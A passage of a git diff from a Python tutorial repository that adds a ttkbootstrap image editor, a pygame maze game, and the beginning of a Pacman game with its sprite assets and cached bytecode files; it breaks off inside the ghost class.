+ +root = ttk.Window(themename="cosmo") +root.title("Image Editor") +root.geometry("510x580+300+110") +root.resizable(0, 0) +icon = ttk.PhotoImage(file='icon.png') +root.iconphoto(False, icon) + +# the left frame to contain the 4 buttons +left_frame = ttk.Frame(root, width=200, height=600) +left_frame.pack(side="left", fill="y") + +# the right canvas for displaying the image +canvas = ttk.Canvas(root, width=WIDTH, height=HEIGHT) +canvas.pack() +# binding the Canvas to the B1-Motion event +canvas.bind("", draw) + +# label +filter_label = ttk.Label(left_frame, text="Select Filter:", background="white") +filter_label.pack(padx=0, pady=2) + +# a list of filters +image_filters = ["Contour", "Black and White", "Blur", "Detail", "Emboss", "Edge Enhance", "Sharpen", "Smooth"] + +# combobox for the filters +filter_combobox = ttk.Combobox(left_frame, values=image_filters, width=15) +filter_combobox.pack(padx=10, pady=5) + +# binding the apply_filter function to the combobox +filter_combobox.bind("<>", lambda event: apply_filter(filter_combobox.get())) + +# loading the icons for the 4 buttons +image_icon = ttk.PhotoImage(file = 'add.png').subsample(12, 12) +flip_icon = ttk.PhotoImage(file = 'flip.png').subsample(12, 12) +rotate_icon = ttk.PhotoImage(file = 'rotate.png').subsample(12, 12) +color_icon = ttk.PhotoImage(file = 'color.png').subsample(12, 12) +erase_icon = ttk.PhotoImage(file = 'erase.png').subsample(12, 12) +save_icon = ttk.PhotoImage(file = 'saved.png').subsample(12, 12) + +# button for adding/opening the image file +image_button = ttk.Button(left_frame, image=image_icon, bootstyle="light", command=open_image) +image_button.pack(pady=5) +# button for flipping the image file +flip_button = ttk.Button(left_frame, image=flip_icon, bootstyle="light", command=flip_image) +flip_button.pack(pady=5) +# button for rotating the image file +rotate_button = ttk.Button(left_frame, image=rotate_icon, bootstyle="light", command=rotate_image) +rotate_button.pack(pady=5) +# button for choosing pen color +color_button = ttk.Button(left_frame, image=color_icon, bootstyle="light", command=change_color) +color_button.pack(pady=5) +# button for erasing the lines drawn over the image file +erase_button = ttk.Button(left_frame, image=erase_icon, bootstyle="light", command=erase_lines) +erase_button.pack(pady=5) +# button for saving the image file +save_button = ttk.Button(left_frame, image=save_icon, bootstyle="light", command=save_image) +save_button.pack(pady=5) + +root.mainloop() diff --git a/gui-programming/image-editor/icon.png b/gui-programming/image-editor/icon.png new file mode 100644 index 00000000..98bbcc10 Binary files /dev/null and b/gui-programming/image-editor/icon.png differ diff --git a/gui-programming/image-editor/requirements.txt b/gui-programming/image-editor/requirements.txt new file mode 100644 index 00000000..95853d43 --- /dev/null +++ b/gui-programming/image-editor/requirements.txt @@ -0,0 +1,2 @@ +pillow +ttkbootstrap diff --git a/gui-programming/image-editor/rotate.png b/gui-programming/image-editor/rotate.png new file mode 100644 index 00000000..1e0dec7a Binary files /dev/null and b/gui-programming/image-editor/rotate.png differ diff --git a/gui-programming/image-editor/saved.png b/gui-programming/image-editor/saved.png new file mode 100644 index 00000000..4ebeca50 Binary files /dev/null and b/gui-programming/image-editor/saved.png differ diff --git a/gui-programming/image-editor/test.jpg b/gui-programming/image-editor/test.jpg new file mode 100644 index 00000000..ffc753c7 Binary files /dev/null and b/gui-programming/image-editor/test.jpg differ diff --git a/gui-programming/maze-game/README.md b/gui-programming/maze-game/README.md new file mode 100644 index 00000000..5c6a2cd8 --- /dev/null +++ b/gui-programming/maze-game/README.md @@ -0,0 +1 @@ +# [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python) \ No newline at end of file diff --git a/gui-programming/maze-game/cell.py b/gui-programming/maze-game/cell.py new file mode 100644 index 00000000..5cbf4963 --- /dev/null +++ b/gui-programming/maze-game/cell.py @@ -0,0 +1,45 @@ +import pygame +from random import choice + +class Cell: + def __init__(self, x, y, thickness): + self.x, self.y = x, y + self.thickness = thickness + self.walls = {'top': True, 'right': True, 'bottom': True, 'left': True} + self.visited = False + + # draw grid cell walls + def draw(self, sc, tile): + x, y = self.x * tile, self.y * tile + if self.walls['top']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y), (x + tile, y), self.thickness) + if self.walls['right']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y), (x + tile, y + tile), self.thickness) + if self.walls['bottom']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y + tile), (x , y + tile), self.thickness) + if self.walls['left']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y + tile), (x, y), self.thickness) + + # checks if cell does exist and returns it if it does + def check_cell(self, x, y, cols, rows, grid_cells): + find_index = lambda x, y: x + y * cols + if x < 0 or x > cols - 1 or y < 0 or y > rows - 1: + return False + return grid_cells[find_index(x, y)] + + # checking cell neighbors of current cell if visited (carved) or not + def check_neighbors(self, cols, rows, grid_cells): + neighbors = [] + top = self.check_cell(self.x, self.y - 1, cols, rows, grid_cells) + right = self.check_cell(self.x + 1, self.y, cols, rows, grid_cells) + bottom = self.check_cell(self.x, self.y + 1, cols, rows, grid_cells) + left = self.check_cell(self.x - 1, self.y, cols, rows, grid_cells) + if top and not top.visited: + neighbors.append(top) + if right and not right.visited: + neighbors.append(right) + if bottom and not bottom.visited: + neighbors.append(bottom) + if left and not left.visited: + neighbors.append(left) + return choice(neighbors) if neighbors else False diff --git a/gui-programming/maze-game/clock.py b/gui-programming/maze-game/clock.py new file mode 100644 index 00000000..1686aa7f --- /dev/null +++ b/gui-programming/maze-game/clock.py @@ -0,0 +1,30 @@ +import pygame, time + +pygame.font.init() + +class Clock: + def __init__(self): + self.start_time = None + self.elapsed_time = 0 + self.font = pygame.font.SysFont("monospace", 35) + self.message_color = pygame.Color("yellow") + + # Start the timer + def start_timer(self): + self.start_time = time.time() + + # Update the timer + def update_timer(self): + if self.start_time is not None: + self.elapsed_time = time.time() - self.start_time + + # Display the timer + def display_timer(self): + secs = int(self.elapsed_time % 60) + mins = int(self.elapsed_time / 60) + my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color) + return my_time + + # Stop the timer + def stop_timer(self): + self.start_time = None diff --git a/gui-programming/maze-game/game.py b/gui-programming/maze-game/game.py new file mode 100644 index 00000000..13815ad5 --- /dev/null +++ b/gui-programming/maze-game/game.py @@ -0,0 +1,31 @@ +import pygame + +pygame.font.init() + +class Game: + def __init__(self, goal_cell, tile): + self.font = pygame.font.SysFont("impact", 35) + self.message_color = pygame.Color("darkorange") + self.goal_cell = goal_cell + self.tile = tile + + # add goal point for player to reach + def add_goal_point(self, screen): + # adding gate for the goal point + img_path = 'img/gate.png' + img = pygame.image.load(img_path) + img = pygame.transform.scale(img, (self.tile, self.tile)) + screen.blit(img, (self.goal_cell.x * self.tile, self.goal_cell.y * self.tile)) + + # winning message + def message(self): + msg = self.font.render('You Win!!', True, self.message_color) + return msg + + # checks if player reached the goal point + def is_game_over(self, player): + goal_cell_abs_x, goal_cell_abs_y = self.goal_cell.x * self.tile, self.goal_cell.y * self.tile + if player.x >= goal_cell_abs_x and player.y >= goal_cell_abs_y: + return True + else: + return False \ No newline at end of file diff --git a/gui-programming/maze-game/img/gate.png b/gui-programming/maze-game/img/gate.png new file mode 100644 index 00000000..c088b640 Binary files /dev/null and b/gui-programming/maze-game/img/gate.png differ diff --git a/gui-programming/maze-game/main.py b/gui-programming/maze-game/main.py new file mode 100644 index 00000000..8ef89a63 --- /dev/null +++ b/gui-programming/maze-game/main.py @@ -0,0 +1,114 @@ +import pygame, sys +from maze import Maze +from player import Player +from game import Game +from clock import Clock + +pygame.init() +pygame.font.init() + +class Main(): + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("impact", 30) + self.message_color = pygame.Color("cyan") + self.running = True + self.game_over = False + self.FPS = pygame.time.Clock() + + def instructions(self): + instructions1 = self.font.render('Use', True, self.message_color) + instructions2 = self.font.render('Arrow Keys', True, self.message_color) + instructions3 = self.font.render('to Move', True, self.message_color) + self.screen.blit(instructions1,(655,300)) + self.screen.blit(instructions2,(610,331)) + self.screen.blit(instructions3,(630,362)) + + # draws all configs; maze, player, instructions, and time + def _draw(self, maze, tile, player, game, clock): + # draw maze + [cell.draw(self.screen, tile) for cell in maze.grid_cells] + + # add a goal point to reach + game.add_goal_point(self.screen) + + # draw every player movement + player.draw(self.screen) + player.update() + + # instructions, clock, winning message + self.instructions() + if self.game_over: + clock.stop_timer() + self.screen.blit(game.message(),(610,120)) + else: + clock.update_timer() + self.screen.blit(clock.display_timer(), (625,200)) + + pygame.display.flip() + + # main game loop + def main(self, frame_size, tile): + cols, rows = frame_size[0] // tile, frame_size[-1] // tile + maze = Maze(cols, rows) + game = Game(maze.grid_cells[-1], tile) + player = Player(tile // 3, tile // 3) + clock = Clock() + + maze.generate_maze() + clock.start_timer() + while self.running: + self.screen.fill("gray") + self.screen.fill( pygame.Color("darkslategray"), (603, 0, 752, 752)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + # if keys were pressed still + if event.type == pygame.KEYDOWN: + if not self.game_over: + if event.key == pygame.K_LEFT: + player.left_pressed = True + if event.key == pygame.K_RIGHT: + player.right_pressed = True + if event.key == pygame.K_UP: + player.up_pressed = True + if event.key == pygame.K_DOWN: + player.down_pressed = True + player.check_move(tile, maze.grid_cells, maze.thickness) + + # if pressed key released + if event.type == pygame.KEYUP: + if not self.game_over: + if event.key == pygame.K_LEFT: + player.left_pressed = False + if event.key == pygame.K_RIGHT: + player.right_pressed = False + if event.key == pygame.K_UP: + player.up_pressed = False + if event.key == pygame.K_DOWN: + player.down_pressed = False + player.check_move(tile, maze.grid_cells, maze.thickness) + + if game.is_game_over(player): + self.game_over = True + player.left_pressed = False + player.right_pressed = False + player.up_pressed = False + player.down_pressed = False + + self._draw(maze, tile, player, game, clock) + self.FPS.tick(60) + + +if __name__ == "__main__": + window_size = (602, 602) + screen = (window_size[0] + 150, window_size[-1]) + tile_size = 30 + screen = pygame.display.set_mode(screen) + pygame.display.set_caption("Maze") + + game = Main(screen) + game.main(window_size, tile_size) diff --git a/gui-programming/maze-game/maze.py b/gui-programming/maze-game/maze.py new file mode 100644 index 00000000..69384699 --- /dev/null +++ b/gui-programming/maze-game/maze.py @@ -0,0 +1,44 @@ +import pygame +from cell import Cell + +class Maze: + def __init__(self, cols, rows): + self.cols = cols + self.rows = rows + self.thickness = 4 + self.grid_cells = [Cell(col, row, self.thickness) for row in range(self.rows) for col in range(self.cols)] + + # carve grid cell walls + def remove_walls(self, current, next): + dx = current.x - next.x + if dx == 1: + current.walls['left'] = False + next.walls['right'] = False + elif dx == -1: + current.walls['right'] = False + next.walls['left'] = False + dy = current.y - next.y + if dy == 1: + current.walls['top'] = False + next.walls['bottom'] = False + elif dy == -1: + current.walls['bottom'] = False + next.walls['top'] = False + + # generates maze + def generate_maze(self): + current_cell = self.grid_cells[0] + array = [] + break_count = 1 + while break_count != len(self.grid_cells): + current_cell.visited = True + next_cell = current_cell.check_neighbors(self.cols, self.rows, self.grid_cells) + if next_cell: + next_cell.visited = True + break_count += 1 + array.append(current_cell) + self.remove_walls(current_cell, next_cell) + current_cell = next_cell + elif array: + current_cell = array.pop() + return self.grid_cells diff --git a/gui-programming/maze-game/player.py b/gui-programming/maze-game/player.py new file mode 100644 index 00000000..0a671268 --- /dev/null +++ b/gui-programming/maze-game/player.py @@ -0,0 +1,66 @@ +import pygame + +class Player: + def __init__(self, x, y): + self.x = int(x) + self.y = int(y) + self.player_size = 10 + self.rect = pygame.Rect(self.x, self.y, self.player_size, self.player_size) + self.color = (250, 120, 60) + self.velX = 0 + self.velY = 0 + self.left_pressed = False + self.right_pressed = False + self.up_pressed = False + self.down_pressed = False + self.speed = 4 + + # get current cell position of the player + def get_current_cell(self, x, y, grid_cells): + for cell in grid_cells: + if cell.x == x and cell.y == y: + return cell + + # stops player to pass through walls + def check_move(self, tile, grid_cells, thickness): + current_cell_x, current_cell_y = self.x // tile, self.y // tile + current_cell = self.get_current_cell(current_cell_x, current_cell_y, grid_cells) + current_cell_abs_x, current_cell_abs_y = current_cell_x * tile, current_cell_y * tile + if self.left_pressed: + if current_cell.walls['left']: + if self.x <= current_cell_abs_x + thickness: + self.left_pressed = False + if self.right_pressed: + if current_cell.walls['right']: + if self.x >= current_cell_abs_x + tile - (self.player_size + thickness): + self.right_pressed = False + if self.up_pressed: + if current_cell.walls['top']: + if self.y <= current_cell_abs_y + thickness: + self.up_pressed = False + if self.down_pressed: + if current_cell.walls['bottom']: + if self.y >= current_cell_abs_y + tile - (self.player_size + thickness): + self.down_pressed = False + + # drawing player to the screen + def draw(self, screen): + pygame.draw.rect(screen, self.color, self.rect) + + # updates player position while moving + def update(self): + self.velX = 0 + self.velY = 0 + if self.left_pressed and not self.right_pressed: + self.velX = -self.speed + if self.right_pressed and not self.left_pressed: + self.velX = self.speed + if self.up_pressed and not self.down_pressed: + self.velY = -self.speed + if self.down_pressed and not self.up_pressed: + self.velY = self.speed + + self.x += self.velX + self.y += self.velY + + self.rect = pygame.Rect(int(self.x), int(self.y), self.player_size, self.player_size) \ No newline at end of file diff --git a/gui-programming/maze-game/requirements.txt b/gui-programming/maze-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/maze-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/README.md b/gui-programming/pacman-game/README.md new file mode 100644 index 00000000..b57339e5 --- /dev/null +++ b/gui-programming/pacman-game/README.md @@ -0,0 +1 @@ +# [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python) \ No newline at end of file diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc new file mode 100644 index 00000000..ddbae820 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc new file mode 100644 index 00000000..5ad6cc32 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc new file mode 100644 index 00000000..d60b70df Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc new file mode 100644 index 00000000..eac5abdb Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc new file mode 100644 index 00000000..b6faeb30 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc new file mode 100644 index 00000000..40a3a84b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc new file mode 100644 index 00000000..fd64e006 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc new file mode 100644 index 00000000..ba76e7ed Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc new file mode 100644 index 00000000..1088e54b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc new file mode 100644 index 00000000..795ec78b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc new file mode 100644 index 00000000..5d335cc4 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc new file mode 100644 index 00000000..de82209f Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc new file mode 100644 index 00000000..4cb12864 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc new file mode 100644 index 00000000..fba2a144 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc new file mode 100644 index 00000000..42535766 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc new file mode 100644 index 00000000..cc539698 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..51f2254f Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc new file mode 100644 index 00000000..f50f2916 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc new file mode 100644 index 00000000..9740cddc Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc new file mode 100644 index 00000000..ebf307f2 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/animation.py b/gui-programming/pacman-game/animation.py new file mode 100644 index 00000000..d0e297b5 --- /dev/null +++ b/gui-programming/pacman-game/animation.py @@ -0,0 +1,11 @@ +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/pacman-game/assets/ghosts/orange/down.png b/gui-programming/pacman-game/assets/ghosts/orange/down.png new file mode 100644 index 00000000..015c28a7 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/left.png b/gui-programming/pacman-game/assets/ghosts/orange/left.png new file mode 100644 index 00000000..3c7e6933 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/right.png b/gui-programming/pacman-game/assets/ghosts/orange/right.png new file mode 100644 index 00000000..20cf70f2 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/up.png b/gui-programming/pacman-game/assets/ghosts/orange/up.png new file mode 100644 index 00000000..1d5cf759 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/down.png b/gui-programming/pacman-game/assets/ghosts/pink/down.png new file mode 100644 index 00000000..f64ce7cb Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/left.png b/gui-programming/pacman-game/assets/ghosts/pink/left.png new file mode 100644 index 00000000..3310b61f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/right.png b/gui-programming/pacman-game/assets/ghosts/pink/right.png new file mode 100644 index 00000000..c3ffdf68 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/up.png b/gui-programming/pacman-game/assets/ghosts/pink/up.png new file mode 100644 index 00000000..62c5cf92 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/down.png b/gui-programming/pacman-game/assets/ghosts/red/down.png new file mode 100644 index 00000000..cdc1127d Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/left.png b/gui-programming/pacman-game/assets/ghosts/red/left.png new file mode 100644 index 00000000..a8c042a8 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/right.png b/gui-programming/pacman-game/assets/ghosts/red/right.png new file mode 100644 index 00000000..a68cc391 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/up.png b/gui-programming/pacman-game/assets/ghosts/red/up.png new file mode 100644 index 00000000..295ad02b Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/down.png b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png new file mode 100644 index 00000000..a8ea55a8 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/left.png b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png new file mode 100644 index 00000000..d7abf43f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/right.png b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png new file mode 100644 index 00000000..8622bafc Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/up.png b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png new file mode 100644 index 00000000..d23fb66f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png differ diff --git a/gui-programming/pacman-game/assets/life/life.png b/gui-programming/pacman-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/pacman-game/assets/life/life.png differ diff --git a/gui-programming/pacman-game/assets/pac/down/0.png b/gui-programming/pacman-game/assets/pac/down/0.png new file mode 100644 index 00000000..2ab42a16 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/down/1.png b/gui-programming/pacman-game/assets/pac/down/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/idle/0.png b/gui-programming/pacman-game/assets/pac/idle/0.png new file mode 100644 index 00000000..e330c06d Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/idle/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/left/0.png b/gui-programming/pacman-game/assets/pac/left/0.png new file mode 100644 index 00000000..3004ca18 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/left/1.png b/gui-programming/pacman-game/assets/pac/left/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/power_up/0.png b/gui-programming/pacman-game/assets/pac/power_up/0.png new file mode 100644 index 00000000..e48d80b0 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/power_up/1.png b/gui-programming/pacman-game/assets/pac/power_up/1.png new file mode 100644 index 00000000..2880250a Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/right/0.png b/gui-programming/pacman-game/assets/pac/right/0.png new file mode 100644 index 00000000..e330c06d Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/right/1.png b/gui-programming/pacman-game/assets/pac/right/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/up/0.png b/gui-programming/pacman-game/assets/pac/up/0.png new file mode 100644 index 00000000..f960506b Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/up/1.png b/gui-programming/pacman-game/assets/pac/up/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/1.png differ diff --git a/gui-programming/pacman-game/berry.py b/gui-programming/pacman-game/berry.py new file mode 100644 index 00000000..75ca0441 --- /dev/null +++ b/gui-programming/pacman-game/berry.py @@ -0,0 +1,20 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED + +class Berry(pygame.sprite.Sprite): + def __init__(self, row, col, size, is_power_up = False): + super().__init__() + self.power_up = is_power_up + self.size = size + self.color = pygame.Color("violetred") + self.thickness = size + self.abs_x = (row * CHAR_SIZE) + (CHAR_SIZE // 2) + self.abs_y = (col * CHAR_SIZE) + (CHAR_SIZE // 2) + + # temporary rect for colliderect-checking + self.rect = pygame.Rect(self.abs_x,self.abs_y, self.size * 2, self.size * 2) + + def update(self, screen): + self.rect = pygame.draw.circle(screen, self.color, (self.abs_x, self.abs_y), self.size, self.thickness) + diff --git a/gui-programming/pacman-game/cell.py b/gui-programming/pacman-game/cell.py new file mode 100644 index 00000000..dc17bd93 --- /dev/null +++ b/gui-programming/pacman-game/cell.py @@ -0,0 +1,17 @@ +import pygame + +class Cell(pygame.sprite.Sprite): + def __init__(self, row, col, length, width): + super().__init__() + self.width = length + self.height = width + self.id = (row, col) + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + self.occupying_piece = None + + def update(self, screen): + pygame.draw.rect(screen, pygame.Color("blue2"), self.rect) \ No newline at end of file diff --git a/gui-programming/pacman-game/display.py b/gui-programming/pacman-game/display.py new file mode 100644 index 00000000..83c943c8 --- /dev/null +++ b/gui-programming/pacman-game/display.py @@ -0,0 +1,40 @@ +import pygame + +from settings import WIDTH, HEIGHT, CHAR_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("ubuntumono", CHAR_SIZE) + self.game_over_font = pygame.font.SysFont("dejavusansmono", 48) + self.text_color = pygame.Color("crimson") + + def show_life(self, life): + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (CHAR_SIZE, CHAR_SIZE)) + life_x = CHAR_SIZE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (CHAR_SIZE // 2))) + life_x += CHAR_SIZE + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x, (HEIGHT + (CHAR_SIZE // 2)))) + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.font.render(f'{score}', True, self.text_color) + self.screen.blit(score, (score_x * 2, (HEIGHT + (CHAR_SIZE // 2)))) + + # add game over message + def game_over(self): + message = self.game_over_font.render(f'GAME OVER!!', True, pygame.Color("chartreuse")) + instruction = self.font.render(f'Press "R" to Restart', True, pygame.Color("aqua")) + self.screen.blit(message, ((WIDTH // 4), (HEIGHT // 3))) + self.screen.blit(instruction, ((WIDTH // 4), (HEIGHT // 2))) \ No newline at end of file diff --git a/gui-programming/pacman-game/ghost.py b/gui-programming/pacman-game/ghost.py new file mode 100644 index 00000000..27d29cb7 --- /dev/null +++ b/gui-programming/pacman-game/ghost.py @@ -0,0 +1,70 @@ +import pygame +import random +import time + +from settings import WIDTH, CHAR_SIZE, GHOST_SPEED + +class Ghost(pygame.sprite.Sprite): + def __init__(self, row, col, color): + super().__init__() + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + self.rect = pygame.Rect(self.abs_x, self.abs_y, CHAR_SIZE, CHAR_SIZE) + self.move_speed = GHOST_SPEED + self.color = pygame.Color(color) + self.move_directions = [(-1,0), (0,-1), (1,0), (0,1)] + + self.moving_dir = "up" + self.img_path = f'assets/ghosts/{color}/' + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.directions = {'left': (-self.move_speed, 0), 'right': (self.move_speed, 0), 'up': (0, 